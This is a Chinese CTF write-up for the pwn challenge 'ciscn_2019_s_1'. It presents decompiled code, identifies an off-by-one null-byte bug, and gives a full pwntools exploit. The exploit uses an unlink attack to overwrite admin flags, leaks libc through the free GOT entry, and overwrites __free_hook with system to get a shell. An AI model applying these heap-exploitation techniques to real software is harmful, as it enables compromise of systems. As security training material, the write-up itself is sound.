ciscn_2019_s_1

b4nd1t

ciscn_2019_s_1(off by one)

保护检查

1681546329156

源码分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax

init();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_int();
if ( v3 != 2 )
break;
fr();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
ma();
}
if ( v3 == 3 )
{
ed();
}
else
{
if ( v3 != 4 )
LABEL_13:
exit(1);
sh();
}
}
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 ma()
{
signed int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("index:");
v1 = read_int();
if ( (unsigned int)v1 > 0x20 || *((_QWORD *)&heap + v1) )
exit(0);
puts("size:");
v2 = read_int();
if ( v2 <= 127 || v2 > 256 )
exit(0);
*((_QWORD *)&heap + v1) = malloc(v2);
len[v1] = v2;
printf("gift: %llx\n", *((_QWORD *)&heap + v1));
puts("content:");
read(0, *((void **)&heap + v1), v2);
return __readfsqword(0x28u) ^ v3;

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 fr()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("index:");
v1 = read_int();
if ( v1 > 0x20 || !heap[v1] )
exit(0);
free((void *)heap[v1]);
heap[v1] = 0LL;
len[v1] = 0;
return __readfsqword(0x28u) ^ v2;
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 ed()
{
signed int v1; // [rsp+Ch] [rbp-14h]
_BYTE *v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( key1 == 2 )
exit(0);
puts("index:");
v1 = read_int();
if ( (unsigned int)v1 > 0x20 || !heap[v1] )
exit(0);
puts("content:");
v2 = (_BYTE *)heap[v1];
v2[read(0, v2, (int)len[v1])] = 0;
++key1;
return __readfsqword(0x28u) ^ v3;

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 sh()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( key2 )
{
puts("index:");
v1 = read_int();
if ( v1 > 0x20 || !heap[v1] )
exit(0);
puts((const char *)heap[v1]);
}
else
{
puts("only admin can use");
}
return __readfsqword(0x28u) ^ v2;
}

在edit中v2[read(0, v2, (int)len[v1])] = 0;会在输入的下一个字节改成\x00,off by one,可以想到unlink,并且没有开启pie,比较方便

在edit函数中用到了key1,不等于2才能进行edit,并且最开始key1的值为0,所以正常情况下只能进行两次edit

在show函数中用到了key2,最开始key2的值为0,正常情况下不能进行show,所以unlink后应该想办法进行修改

1681547011073

1681547053067

程序最多可以添加33个堆块,下标为0-32,在第32个位置的heap地址距离key2的距离为0x6022B8 -(0x6020E0 + 8*32) = 0xd8,加上unlink前面的0x18,所以0xf8恰好可以覆盖key1和key2,在覆盖时把key1覆盖成大于2的数,这样就可以一直edit,然后key2覆盖成非零数即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process("./buu")
p = remote('node4.buuoj.cn',26130)
libc = ELF("u1864.so")
heap_addr = 0x6020E0
free_got = 0x601FA0
def debug():
gdb.attach(p)
def add(index,size,content):
p.sendlineafter("4.show\n","1")
p.sendlineafter("index:\n",str(index))
p.sendlineafter("size:\n",str(size))
p.sendlineafter("content:\n",content)
def delete(index):
p.sendlineafter("4.show\n","2")
p.sendlineafter("index:\n",str(index))
def edit(index,content):
p.sendlineafter("4.show\n","3")
p.sendlineafter("index:\n",str(index))
p.sendafter("content:\n",content)
def show(index):
p.sendlineafter("4.show\n","4")
p.sendlineafter("index:\n",str(index))
for i in range(7):
add(i+1,0xf0,"aaa")
add(32,0xf8,"aaa")
add(8,0xf0,"aaa")
add(9,0x80,"/bin/sh\x00")
add(10,0x80,"aaa")
add(11,0x80,"aaa")
add(12,0x80,"aaa")
for i in range(7):
delete(i+1)
payload = p64(0) + p64(0xf1) + p64(heap_addr + 0x100 - 0x18) + p64(heap_addr + 0x100 - 0x10) + 'a'*0xd0 + p64(0xf0)
edit(32,payload)
delete(8)
payload = 'a'*0x18 + p64(heap_addr + 0x50) + 'a'*0xd0 + p32(1) + p32(4)
edit(32,payload)
payload = p64(free_got) + p64(heap_addr + 0x58)
edit(32,payload)
show(10)
libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - libc.sym['free']
print(hex(libcbase))
system_addr = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
payload = p64(free_hook)
edit(11,payload)
payload = p64(system_addr)
edit(11,payload)
delete(9)
#debug()
p.interactive()

1681547514824